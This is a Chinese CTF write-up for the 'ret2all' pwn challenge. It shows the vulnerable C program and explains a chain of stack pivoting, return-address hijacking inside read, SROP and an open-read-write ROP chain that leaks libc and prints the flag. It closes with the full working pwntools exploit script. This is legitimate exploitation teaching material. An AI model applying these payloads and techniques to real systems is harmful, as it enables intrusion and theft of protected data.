LilCTF pwn ret2all

发布于:2025-09-10 ⋅ 阅读:(18) ⋅ 点赞:(0)

题目链接:
百度网盘(提取码yxxx)

🎼前言

原文最初写在飞书上。可以去飞书查看,观感更佳:
https://lil-house.feishu.cn/wiki/JqIEw4fTPiHcRnkSazacGBTNng6

这是第二版wp。与第一版wp的思路相同,但构造方法不同,并更正了第一版wp中的一些错误知识点,全文进行了标准绘图。第一版更贴近参赛者打比赛时候的思路,也就是比较乱,想到啥就做啥。第二版更像是站在上帝视角来做题,构造巧妙。第一版wp中仍然有一些值得学习的地方,所以我这里保留了第一版wp:
https://pan.baidu.com/s/1brups-W-VlDej3H7RtXZyg?pwd=yxxx

本题为我的代表之作,耗时一星期打造。

🎼源代码

//gcc ret2all.c -o ret2all -fno-stack-protector -l seccomp

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <seccomp.h>
#include <linux/seccomp.h>
#include <fcntl.h>

long long unsigned int _RET, _RBP;
char *LOVE = "I love you I feel lonely";

void seccomp()
{
    scmp_filter_ctx ctx;
    ctx = seccomp_init(SCMP_ACT_ALLOW);
    seccomp_rule_add(ctx, SCMP_ACT_KILL, SCMP_SYS(execve), 0);
    seccomp_rule_add(ctx, SCMP_ACT_KILL, SCMP_SYS(execveat), 0);
    seccomp_rule_add(ctx, SCMP_ACT_KILL, SCMP_SYS(name_to_handle_at), 0);
    seccomp_rule_add(ctx, SCMP_ACT_KILL, SCMP_SYS(open_by_handle_at), 0);
    seccomp_rule_add(ctx, SCMP_ACT_KILL, SCMP_SYS(sendfile), 0);
    seccomp_rule_add(ctx, SCMP_ACT_KILL, SCMP_SYS(sendto), 0);
    seccomp_rule_add(ctx, SCMP_ACT_KILL, SCMP_SYS(sendmsg), 0);
    seccomp_rule_add(ctx, SCMP_ACT_KILL, SCMP_SYS(readv), 0);
    seccomp_rule_add(ctx, SCMP_ACT_KILL, SCMP_SYS(pread64), 0);
    seccomp_rule_add(ctx, SCMP_ACT_KILL, SCMP_SYS(preadv), 0);
    seccomp_rule_add(ctx, SCMP_ACT_KILL, SCMP_SYS(preadv2), 0);
    seccomp_rule_add(ctx, SCMP_ACT_KILL, SCMP_SYS(mmap), 0);
    seccomp_rule_add(ctx, SCMP_ACT_KILL, SCMP_SYS(pwrite64), 0);
    seccomp_rule_add(ctx, SCMP_ACT_KILL, SCMP_SYS(writev), 0);
    seccomp_rule_add(ctx, SCMP_ACT_KILL, SCMP_SYS(pwritev), 0);
    seccomp_rule_add(ctx, SCMP_ACT_KILL, SCMP_SYS(pwritev2), 0);
    seccomp_rule_add(ctx, SCMP_ACT_KILL, SCMP_SYS(fstat), 0);
    seccomp_rule_add(ctx, SCMP_ACT_KILL, SCMP_SYS(mprotect), 0);
    seccomp_rule_add(ctx, SCMP_ACT_KILL, SCMP_SYS(socket), 0);
    seccomp_rule_add(ctx, SCMP_ACT_KILL, SCMP_SYS(connect), 0);
    seccomp_rule_add(ctx, SCMP_ACT_KILL, SCMP_SYS(bind), 0);
    seccomp_rule_add(ctx, SCMP_ACT_KILL, SCMP_SYS(listen), 0);
    seccomp_rule_add(ctx, SCMP_ACT_KILL, SCMP_SYS(clone), 0);
    seccomp_rule_add(ctx, SCMP_ACT_KILL, SCMP_SYS(fork), 0);
    seccomp_rule_add(ctx, SCMP_ACT_KILL, SCMP_SYS(read), 1, SCMP_A0(SCMP_CMP_GE, 1));
    seccomp_rule_add(ctx, SCMP_ACT_KILL, SCMP_SYS(write), 1, SCMP_A0(SCMP_CMP_NE, 2));
    seccomp_load(ctx);
}

void init()
{
    setvbuf(stdin, 0, 2, 0);   
    setvbuf(stdout, 0, 2, 0);
    setvbuf(stderr, 0, 2, 0);
    
    _RBP = (unsigned long long)__builtin_frame_address(0);
    _RET = (unsigned long long)__builtin_return_address(0) - 0x20;
    
    printf("RBP:%p\n", (void *)_RBP);
    printf("RET:%p\n", (void *)_RET);
    puts("Keep it and...I love you");
    mprotect((void*)((uintptr_t)&_RBP & ~0xFFF), 0x1000, 1);
    
    seccomp();
    close(2);
}

int shadow(long long unsigned int *buf)
{
    for (int i = 0; i < 4; i++) {
        if (memcmp((const char *)&buf[i * 3], LOVE, 0x18)) {
            puts("You don't love me?");
        }
    }
    if (memcmp((const char *)&buf[12], (const char *)&_RBP, 0x8)) {
        puts("You don't keep it?");
    }
    if (memcmp((const char *)&buf[13], (const char *)&_RET, 0x8)) {
        puts("You don't keep it?");
    }
    
    return 0;
}

void rread()
{
    char buf[0x60];
    
    read(0, buf, 0x88);
    shadow((long long unsigned int *)&buf);
}

void vuln()
{   
    volatile int dummy = 0;
    rread();
}

void main()
{
    volatile int dummy = 0;
    init();
    vuln();
}

🎼描述

一道溢出的痕,一场检测的困,一次极致的栈,一个落寞的人。落寞的人唱着孤独的题,孤独的题笑着落寞的人。
人知题恐怖,题晓人心毒。这是一道传统pwn题。

作者评语:一件完美的艺术品,葬下了整个栈时代。
无爆破。无后门。最优预期解使用了10次send。

🎼知识点

ret2text,ret2syscall,ret2libc,SROP,栈迁移,栈返回,栈风水,magic gadget,orw

🎵分析

[图片]
checksec查看。除了canary其他都开了
[图片]
IDA查看
[图片]
查看init函数。上来设置了一下缓冲区,然后将rread函数的rbp和ret数值存储到了bss段,再输出出来,最后mprotect将bss段权限改为只读防止更改

之后调用了seccomp,调用完后关闭了fd2,也就是标准错误
[图片]
看看禁了什么好东西。禁了一坨

read和write的分支全禁,留下本体,read的第一个参数不能大于等于1,write的第一个参数只能等于2,但是后面又close(2),需要dup2(1, 2)更改fd才能再调用write
[图片]
查看rread函数。进行了一个栈溢出,溢出0x28字节,随后进入shadow函数检测
[图片]
查看shadow函数。先是对输入的内容的前0x60字节进行检测,是否是指定的字符串。随后从bss上读之前放好的rbp和ret分别对rbp和ret进行检测查看是否改动

如果检测到有不同,会调用puts输出,puts会调用write,write的fd1被沙箱禁用,会直接退出程序

也就是说能动的字节只有最后0x18个

🎶解题

在这里插入图片描述

io.recvuntil('0x')
RBP = int(io.recv(12), 16)
io.recvuntil('0x')
RET = int(io.recv(12), 16)
elfbase = RET - 0x1871
success('elfbase =>> ' + hex(elfbase))

read = elfbase + 0x182F
read2 = elfbase + 0x1840
read3 = elfbase + 0x183B
leave = elfbase + 0x1852
add_rbp_3d_ebx = elfbase + 0x1252
rbp = add_rbp_3d_ebx + 1
ret = rbp + 1

先接收一下送的地址,不要白不要。并且算出elfbase,方便调用text段上的代码

并且设置了一些下面要常用的gadget

🎤知识点① | ret2text
ret2text的意思就是能完全返回到text段上,这题有了elfbase,PIE就和没开一样了,那肯定是要返回到text段上去执行程序中原有的gadget,其他没有执行权限的段没用

在这里插入图片描述
read是从lea rax, [rbp+buf]开始,后面rax会赋值给rsi,相当于用rbp控制rsi,可以控制read要读到哪里

read2则是直接从call _read开始,适合后面已经控制好了rsi和rdx参数,就可以直接调用

read3是从mov edi, 0开始,是最后面调用write后方便转调用read

leave就是leave; ret,随处可见,但是需要注意要选用(address & 0x4) == 0的leave地址,也就是末第3个bit不能为1,不然后面SROP会卡字段

🎤知识点② | magic gadget
magic gadget顾名思义就是一些比较神奇好用gadget,为什么add_rbp_3d_ebx = elfbase + 0x1252这个地址的gadget神奇呢?
在这里插入图片描述
一般程序都会有__do_global_dtors_aux这个函数,而将mov cs:completed_0, 1指令的最后一位01拆开与下面的pop rbp; ret组合,就是01 5D C3,意思是add dword ptr [rbp - 0x3d], ebx,再加上后面的指令,elfbase + 0x1252的指令就是add dword ptr [rbp - 0x3d], ebx; nop dword ptr [rax]; ret
这个指令需要先控制ebx,然后可以将ebx中的数值加到rbp - 0x3d这个地方,是本文后面控制libc偏移的方法
在这里插入图片描述
用ROPgadget也可以找到这个地址,这个magic gadget应该是前人用ROPgadget时无意找到的

再下面的rbp和ret就是直接用这个gadget的后一位地址和后两位地址,分别是pop rbp; ret,ret

io.send(b'I love you I feel lonely' * 4 + p64(RBP) + p64(RET) + p64(RBP + 0x10) + p64(read) + p64(RBP - 0x10))

第一次输入,前面先写好要检测的字符串、rbp和ret,后0x18开始控制程序流
在这里插入图片描述
发现刚好可以写到上一个函数的rbp,也就是vuln函数的rbp,能控制rbp,那就能控制程序流

🎤知识点③ | 栈迁移
栈迁移是在控制了rbp的情况下的利用。在本题中,输入完后会经历三次leave; ret,第一次和第二次,是固定的rbp,图中的数值分别是0x7ffce1c48240和0x7ffce1c48260,leave指令相当于mov rsp, rbp; pop rbp
以上图来说,执行完shadow函数,会mov rsp, rbp将rsp的值变为0x7ffce1c48240,随后pop rbp将rbp的值变为0x7ffce1c48260,由于是pop,所以rsp的值会加8变为0x7ffce1c48248,随后再ret到0x5cc67f32e871,由于是ret,最后rsp的值会加8变为0x7ffce1c48250。这是一个完整的栈迁移周期
0x5cc67f32e872这里是第二次leave; ret,经历完这个周期后,rbp变为0x7ffce1c48250,rsp变为0x7ffce1c48270,rip变为0x5cc67f32e89b。这里的rbp是刚刚溢出输入的值,原本的值不是这个
0x5cc67f32e89c这里是第三次leave; ret,正常来讲要退出程序,但是由于控制了rbp的走向,所以经历完这个周期后,rbp变为0x7ffce1c48270,rsp变为0x7ffce1c48260,rip变为0x5cc67f32e82f
即将要执行的就是之前写在栈上的read,并且控制了rbp进而控制了rsi,最后会执行read(0, 0x7ffce1c48210, 0x88)

之后会大量利用到栈迁移,这里已经讲得足够清楚,后面不再细讲流程

🎤知识点④ | 栈返回
栈返回就是通过glibc函数在栈上修改自己的返回地址,是一种更加隐蔽的栈溢出,因为glibc函数在程序中通常看不见流程。常见于read,printf(第七届强网杯ez_fmt)
在call一个函数的时候,函数会push 返回地址,由于是push,rsp会减8,接着上面的例子,call了read后,rsp会变为0x7ffce1c48258,随后在read函数中,read的功能执行完毕后,最后会像很多函数一样执行leave; ret,就会ret回0x7ffce1c48258存放的返回地址

如果能在read函数返回之前修改这个返回地址,就可以控制程序流。这是本文躲避shadow检测的主要方法
[图片]
dbg中在call read的时候按s单步进入read函数,可以发现read在栈上push了一个返回地址,只要修改到这个返回地址,就可以执行ROP链,和普通的栈溢出一样,没有shadow的检测

这里选择从0x7ffc72675940开始读,而不直接从0x7ffc72675988开始,是为了后面构造。并且虽然0x7ffc72675990和0x7ffc72675998这里可以ROP,但是这里的两个值后面都很关键,要用来过检测,所以不能动,能ROP的只有0x7ffc72675988这一个字长

进行了这么多控制程序流的操作,可以确定本题已经能够随意在栈上穿梭了。那么有这么大的能力,要怎样获取flag呢?先明确一下目标,接下来给一下思维链:
在这里插入图片描述
接下来的所有ROP操作都是为了构造SROP,构造SROP肯定要用syscall调用,那么哪里有syscall呢?

🎤知识点⑤ | ret2syscall
ret2syscall的意思就是返回到syscall上,一般的题目考这个会在程序的text段使用syscall,留一些后门syscall这种,其实这种可以归类为ret2text,不能算ret2syscall。本题的text段没有syscall,那有syscall并且有机会调用的地方就是libc,vsyscall段虽然有syscall,但是有检测,不能用。调用libc里的syscall一般可以归类为ret2libc,不能算ret2syscall,但是ret2libc一般要能完全ret到libc的所有地址才算,这里不能完全ret,只能单独ret到syscall这个有效字段,所以这题算是真正的ret2syscall,之前很多人做的其实是假的,这次做到真的了()

在这里插入图片描述
栈上有这两个经常用的libc地址,由于无爆破,所以尝试看看这两个地址附近有没有syscall
在这里插入图片描述
在__libc_start_call_main附近找到一枚野生syscall,并且距离很近,无需爆破,只需要改最后一位就可以
但是这个syscall有很大弊端,因为SROP需要连续调用两次syscall,调用完sigreturn后,再来到这里调用dup2(1, 2)结束,会jmp回上方,进入一个syscall的循环。如果程序中有ret 8这个gadget,或者ret的数值比较好的(8的整数倍),可以通过控制edx为15,调用dup2(1, 2)完后再次调用sigreturn,提前在栈上构造好,就可以实现一个SROP的“双车错”,可以跳出这个循环。但是这个程序中只有ret 0x2d,这个值不好,会卡字段(选修,感兴趣可自行尝试)

所以后面还要找另一个syscall,先用这个调用sigreturn,控制rbx字段,然后利用magic gadget将这个syscall改成更好的syscall,例如syscall; ret

io.send(p64(0) * 7 + p64(RBP + 0xf0) + p64(read) + p64(leave) + p64(RBP + 0x100) + p64(leave) + p64(RBP - 0x18) + p64(leave) + p64(0) + p8(0xec))

在这里插入图片描述

🎤知识点⑥ | 栈风水
栈风水就是在栈上提前进行一些布局,方便后续的ROP。这个通常是做到后面发现做得有些费劲,就会想在前面的时候就提前留下一些什么,所以要讲解我这里为什么要留这些是比较困难的,到后面才能知道
这里蓝线框住的就是栈风水,因为现在用不到,做到后面的时候发现检测要过这里,需要控制这里的值

开始的0x38字节用0填充

之后的0x10存放的是rbp设置为多少,ret到哪,这是一个组合,用于接收leave; ret,以下简称leave组合。当控制rbp为0x7ffe2313de98时,执行leave; ret后,先是0x7ffe2313dfa0被rbp拿,然后ret到read

中间的0x8字节是rop起点

这里为什么不直接跳到上面,而是要先去下面再到上面呢?可以控rbp到上面,这样是能直接跳到上面执行,但是rbp在太上面了,read读的时候读不到底下的0x7ffe2313ded8地址,没法把这里的libc地址改成syscall

这里为什么不直接跳到下面,而是要先去下面再到上面呢?直接在下面调用read的话确实可以,但是这个read是会触发shadow检测的,因为在__libc_start_call_main的下方没有leave组合,所以不能通过leave直接将栈移过去进而通过栈返回来躲shadow检测。触发shadow函数后,会push一堆值进栈,就会覆盖掉0x7ffe2313deb0或0x7ffe2313deb8这两个字段中的其中一个

下面的0x10字节相当于中转站,转到上面执行read

图片底部的0x7ffe2313ded8这里的libc地址是不能动的,这是本文最关键的地址,动了就没了
在这里插入图片描述
此时rop链执行完毕,接下来准备读入SROP字段,但是这个read逃不了检测,所以需要先读一段正常的

io.send(b'I love you I feel lonely' * 4 + p64(RBP) + p64(RET) + p64(RBP + 0xf0) + p64(read))

在这里插入图片描述
因为rbp和ret是不能变的,需要过检测,所以自然leave就跳到了上面,而上面就是之前准备好的leave组合,用来控制返回到下面的leave组合,此时read就可以利用栈返回躲检测了,因为rsp在下面了
在这里插入图片描述
此时read即将读入,提前说一下要读入啥。这里read错了个位,使得rsp和rbp中间有4个字长的位置来ROP,要不然等会ROP不动,并且刚好把&fpstate字段卡为了0
在这里插入图片描述

🎤知识点⑦ | SROP
syscall就是调用syscall的地址,调用的时候由于进行了ret,所以rsp会加8,指向uc_flags
uc_flags字段需要设置为0。或者一个可读地址,并且这个可读地址的末第3个bit不能为1,例如我之前选用的leave的末尾是2,即0010,从右往左数第3个数是0,则该地址是合法的
rip要一个可执行地址,这个自然不用说
cs/gs/fs字段一般设置为0x33,主要是为了设置cs,说得准确点前两个字节需要是0x0033,后面的字节随便设置。cs为0x33代表此时程序是以64位运行的,0x22代表是32位,如果这里设置错误,那么程序会直接动不了。后面的gs和fs字段不是那么重要
&fpstate字段需要设置为0。或者一个可读地址,并且该地址满足栈对齐,并且该地址+0x18的位置的值取低32位值后再取高16位值要是0,因为fpstate是一个结构体,这个位置是结构体中的mxcsr字段,这是一个32位的字段,其高16位最好不能有值。可见该字段如果想取一个合法地址是比较困难的,所以能设置0就设置0
SROP比较复杂,涉及用户态和内核态的切换,但是简单说,就是设置栈上值到寄存器中,调用syscall后,rsp会指向uc_flags,按照各个字段设置即可,一般来讲前面13个字段都会设置为0,也就是p64(0) * 13
本题read不能读入太多数据,只能是0x60,后面还有0x28要用来进行控制,这个0x60大小刚好是从rdi字段到err字段,随后的第4个字长需要控制&fpstate字段,需要为0
进行错位后,是从rdi字段的前8个字节到cs/gs/fs字段,随后的第5个字长需要控制&fpstate字段,需要为0。位置有限,所以本文没有去专门控制前面13个字段,而是直接从rdi字段开始写,并且进行了错位,从rdi字段的前8个字节开始写

#frame = SigreturnFrame()
#frame.rax = 0
#frame.rbx = 0x6edca
#frame.rdi = 0
#frame.rsi = RBP + 0x30
#frame.rdx = 0x200
#frame.rsp = RBP + 0x40
#frame.rbp = RBP + 0x65
#frame.rip = read2
io.send(b'A' * 8 + p64(0) + p64(RBP + 0x30) + p64(RBP + 0x65) + p64(0x6edca) + p64(0x200) + p64(0) + p64(0) + p64(RBP + 0x40) + p64(read2) + p64(0) + p64(0x33) + p64(RBP + 0x150 + 1) + p64(read) + p64(RBP + 0x20) + p64(leave))

第一次SROP由于没法利用那个syscall调用一个参数正确的函数,所以主要控制rbx字段,后面就能调用magic gadget调偏移换个syscall,直接换成syscall; ret就舒服了,用ropper随便找了个libc里的syscall; ret,所以rbx设置为了0x6edca。顺带rip是read2,直接调用read,因为这样调用的read很舒服,可以栈返回绕shadow,rdx还大
在这里插入图片描述
先leave,跳转到上面的rbp位置,这里有个leave组合,执行read。要调用sigreturn需要rax为15,rax寄存器存放的是函数的返回值,如果read读了15个字节,那么函数返回值就是15,同理write如果写了15个字节,那么返回值也是15。没有控制rax的gadget的情况下,一般就用这种方法来控制rax的值

read了15个字节后再跳转到syscall就能执行sigreturn了

io.send(b'A' * 7 + p64(rbp))

在这里插入图片描述
read先读入7个垃圾字节,随后将自己的返回地址改为了pop rbp,这样可以跳过检测,直接开始rop,随后如图示一路rop到syscall
在这里插入图片描述
成功调用了sigreturn
在这里插入图片描述
接下来准备调用dup2(1, 2),read重写一下SROP字段,并且栈风水一下,提前在SROP字段的垃圾字段中留下后面要用的gadget,并且rop一下,将这个syscall换成更好的syscall再调用

#frame = SigreturnFrame()
#frame.rax = 33
#frame.rdi = 1
#frame.rsi = 2
#frame.rdx = 0
#frame.rsp = RBP + 0x28
#frame.rbp = RBP + 0x68
#frame.rip = ret
io.send(p64(leave) + p64(add_rbp_3d_ebx) + p64(rbp) + p64(RBP + 0xa8 + 1) + p64(read) + p64(RBP + 0x20) + p64(leave) + p64(RBP + 0xd0) + p64(read) + p64(0) * 4 + p64(1) + p64(2) + p64(RBP + 0x68) + p64(0) + p64(0) + p64(33) + p64(0) + p64(RBP + 0x28) + p64(ret) + p64(0) + p64(0x33))

io.send(b'A' * 7 + p64(rbp))

一般的SROP,会设置rsp为一个其他的值,rip为syscall的地址,这样不会卡脚。但是本题无法获得syscall的地址,所以rip设置为ret,rsp设置为这里的RBP + 0x28也就是syscall的地址,这样调用完第一次syscall设置好寄存器后,就能再调用一次syscall去执行函数

需要注意syscall后会ret,而此时rsp是syscall下面一行,这一行刚好是之前SROP时的uc_flags字段,所以这里要一个可执行的地址,并且合法

rbp在上一次的SROP中已经设置为了syscall的栈地址加0x3d,rop时直接利用magic gadget增加syscall地址的值,换成更好的syscall
在这里插入图片描述
在上一次SROP中,设置了rsp,所以调用read后返回地址会被覆盖为add_rbp_3d_ebx,直接开始rop
执行add_rbp_3d_ebx换个syscall,随后read15个字节,和上面一样,read完后rop跳到syscall

为什么要留leave作为栈风水呢?因为rsp和rip都不好控,但是rbp好控,而利用rbp的地方就是leave,所以后面会利用leave作为一个中转站来完成跳跃
在这里插入图片描述
先调用sigreturn设置寄存器
在这里插入图片描述
由于rip设置了ret,rsp设置得当,所以即将再次syscall
在这里插入图片描述成功调用dup2(1,2),随后是ret,ret到leave,然后再由leave转到下面的leave组合处,调用read,再次重写SROP以调用write

#frame = SigreturnFrame()
#frame.rax = 1
#frame.rdi = 2
#frame.rsi = RBP + 0x28
#frame.rdx = 0x200
#frame.rsp = RBP + 0x28
#frame.rbp = RBP + 0xe8
#frame.rip = ret
io.send(p64(rbp) + p64(RBP + 0xd8 + 1) + p64(read) + p64(RBP + 0x20) + p64(leave) + p64(2) + p64(RBP + 0x28) + p64(RBP + 0xe8) + p64(0) + p64(0x200) + p64(1) + p64(0) + p64(RBP + 0x28) + p64(ret) + p64(0) + p64(0x33) + p64(read3))

io.recv()
io.send(b'A' * 7 + p64(rbp))

这里rdx设置为0x200,主要是为了后面转read用,不然只泄露的话随便设置个0x6就行了
在这里插入图片描述
和之前一样,继续rop。后面留了个栈风水用来在write调用成功后直接转到read
在这里插入图片描述
调用write成功,并且转到read

🎤知识点⑧ | ret2libc
ret2libc的意思就是能完全返回到libc上,虽然程序没有很多gadget,但是libc上gadget一大堆,都能直接用ROPgadget找到,没有pop rdx,可以用rbx来控,不过之前write已经设置了rdx为0x200,orw的时候就没有必要控rdx了

syscall = u64(io.recv(6).ljust(8, b'\0'))
libcbase = syscall - 0x98fb6
success('libcbase =>> ' + hex(libcbase))
rax = libcbase + 0xdd237
rdi = libcbase + 0x10f75b
rsi = libcbase + 0x110a4d
rbx = libcbase + 0x586e4
mov_rdx_rbx_pop_rbx_pop_r12_pop_rbp = libcbase + 0xb0133

接收一下刚刚write的输出,就有了libc,随后就可以随意rop了

🎤知识点⑨ | orw
orw是在沙箱禁用了execve函数下的常用攻击手法,通过open出flag文件,然后再read读flag文件中的内容到内存里,再用write写出flag

本题稍微有些特殊,不过在之前的思维导图已经给出了orw的思路

#close(0)
#open('./flag', 0)
#read(0, RBP, 0x200)
#write(2, RBP, 0x200)
io.send(b'A' * 0xc0 + b'./flag\x00\x00' + p64(rax) + p64(3) + p64(rdi) + p64(0) + p64(syscall) + p64(rax) + p64(2) + p64(rdi) + p64(RBP + 0xe8) + p64(rsi) + p64(0) + p64(syscall) + p64(rax) + p64(0) + p64(rdi) + p64(0) + p64(rsi) + p64(RBP) + p64(syscall) + p64(rax) + p64(1) + p64(rdi) + p64(2) + p64(syscall))

先close(0),再open(‘./flag’, 0),这样flag文件的fd就是0,然后read(0, RBP, 0x200)就可以将flag的值写入RBP中,有一点需要注意的是由于close(0),现在已经无法使用标准输入(如果后续非要用可以先dup2再close),所以这是最后一个send了。最后write(2, RBP, 0x200)输出flag
在这里插入图片描述

🎹exp

from pwn import *

filename = './ret2all'

debug = 0
if debug:
    io = remote('0.0.0.0', 9999)
else:
    io = process(filename)

elf = ELF(filename)

context(arch = elf.arch, log_level = 'debug', os = 'linux')

def dbg():
    gdb.attach(io)

io.recvuntil('0x')
RBP = int(io.recv(12), 16)
io.recvuntil('0x')
RET = int(io.recv(12), 16)
elfbase = RET - 0x1871
success('elfbase =>> ' + hex(elfbase))

read = elfbase + 0x182F
read2 = elfbase + 0x1840
read3 = elfbase + 0x183B
leave = elfbase + 0x1852
add_rbp_3d_ebx = elfbase + 0x1252
rbp = add_rbp_3d_ebx + 1
ret = rbp + 1
# 远程的时候在每个send后加个sleep(0.1)
io.send(b'I love you I feel lonely' * 4 + p64(RBP) + p64(RET) + p64(RBP + 0x10) + p64(read) + p64(RBP - 0x10))

io.send(p64(0) * 7 + p64(RBP + 0xf0) + p64(read) + p64(leave) + p64(RBP + 0x100) + p64(leave) + p64(RBP - 0x18) + p64(leave) + p64(0) + p8(0xec))

io.send(b'I love you I feel lonely' * 4 + p64(RBP) + p64(RET) + p64(RBP + 0xf0) + p64(read))

#frame = SigreturnFrame()
#frame.rax = 0
#frame.rbx = 0x6edca
#frame.rdi = 0
#frame.rsi = RBP + 0x30
#frame.rdx = 0x200
#frame.rsp = RBP + 0x40
#frame.rbp = RBP + 0x65
#frame.rip = read2
io.send(b'A' * 8 + p64(0) + p64(RBP + 0x30) + p64(RBP + 0x65) + p64(0x6edca) + p64(0x200) + p64(0) + p64(0) + p64(RBP + 0x40) + p64(read2) + p64(0) + p64(0x33) + p64(RBP + 0x150 + 1) + p64(read) + p64(RBP + 0x20) + p64(leave))

io.send(b'A' * 7 + p64(rbp))

#frame = SigreturnFrame()
#frame.rax = 33
#frame.rdi = 1
#frame.rsi = 2
#frame.rdx = 0
#frame.rsp = RBP + 0x28
#frame.rbp = RBP + 0x68
#frame.rip = ret
io.send(p64(leave) + p64(add_rbp_3d_ebx) + p64(rbp) + p64(RBP + 0xa8 + 1) + p64(read) + p64(RBP + 0x20) + p64(leave) + p64(RBP + 0xd0) + p64(read) + p64(0) * 4 + p64(1) + p64(2) + p64(RBP + 0x68) + p64(0) + p64(0) + p64(33) + p64(0) + p64(RBP + 0x28) + p64(ret) + p64(0) + p64(0x33))

io.send(b'A' * 7 + p64(rbp))

#frame = SigreturnFrame()
#frame.rax = 1
#frame.rdi = 2
#frame.rsi = RBP + 0x28
#frame.rdx = 0x200
#frame.rsp = RBP + 0x28
#frame.rbp = RBP + 0xe8
#frame.rip = ret
io.send(p64(rbp) + p64(RBP + 0xd8 + 1) + p64(read) + p64(RBP + 0x20) + p64(leave) + p64(2) + p64(RBP + 0x28) + p64(RBP + 0xe8) + p64(0) + p64(0x200) + p64(1) + p64(0) + p64(RBP + 0x28) + p64(ret) + p64(0) + p64(0x33) + p64(read3))

io.recv()
io.send(b'A' * 7 + p64(rbp))

syscall = u64(io.recv(6).ljust(8, b'\0'))
libcbase = syscall - 0x98fb6
success('libcbase =>> ' + hex(libcbase))
rax = libcbase + 0xdd237
rdi = libcbase + 0x10f75b
rsi = libcbase + 0x110a4d
rbx = libcbase + 0x586e4
mov_rdx_rbx_pop_rbx_pop_r12_pop_rbp = libcbase + 0xb0133

#close(0)
#open('./flag', 0)
#read(0, RBP, 0x200)
#write(2, RBP, 0x200)
io.send(b'A' * 0xc0 + b'./flag\x00\x00' + p64(rax) + p64(3) + p64(rdi) + p64(0) + p64(syscall) + p64(rax) + p64(2) + p64(rdi) + p64(RBP + 0xe8) + p64(rsi) + p64(0) + p64(syscall) + p64(rax) + p64(0) + p64(rdi) + p64(0) + p64(rsi) + p64(RBP) + p64(syscall) + p64(rax) + p64(1) + p64(rdi) + p64(2) + p64(syscall))

io.interactive()

📻作者的话

也许你注意到本文的所有标题都使用了与音乐有关的emoji,他可不是乱用的啊(),这对应了题目描述“落寞的人唱着孤独的题”。题目中的“I feel lonely”以及高难度则是对应了题目描述“孤独的题笑着落寞的人”

本题风格是极简,不加那些乱七八糟的东西把题目弄的又乱又看不懂,好让做题者知道,做的是pwn题,不是逆向。要让每个不懂逆向的小pwn手都能看懂题目意思,这才是纯粹的pwn。有些题逆向就要逆几小时,题目难度完全在逆向,而不在pwn上。有些题还套个协议,套个密码。。。

本题还有个巧妙点是作者并没有刻意地去加某某知识点到题中。出题者同时也是做题者,我只是尝试加一个沙箱再加一些检测,并且没有添加额外的后门gadget。在做题的过程中下意识地运用自己知道的手段,没想到居然能串起来这么多知识点,并且用得都很顺理成章。固评价为“一件完美的艺术品,葬下了整个栈时代”

此题还可以作为一个板子,在你做某些栈题实在想不出巧妙思路的时候可以作为最后的硬解手段,相当于高考做立体几何大题时的硬算。只要是溢出,没有加什么特别刁钻的专门防ret2all的东西,就可以用这种方法做出,本题bss段要用来放检测所以开pie直接给了栈地址和elf地址,一般溢出题没有给栈地址那么大概率没开pie,跳到bss段然后再ret到start将之前栈的数据重置一遍到bss上就等同ret2all了。例如ACTF 2025的only_read,DASCTF 2025上半年赛的mini(本题出于only_read后,mini前。本题独特禁write的方法一部分灵感来源于only_read,因为这题当时有一个非预期是1/16概率ret到__libc_start_main附近的write直接泄露,本题这样禁可以很好地防止非预期)

感谢并恭喜你看完本篇文章,一路走来,你已经经历许多,这是现今栈利用的顶峰,能够完成本题,你已称得上“Master of Steak”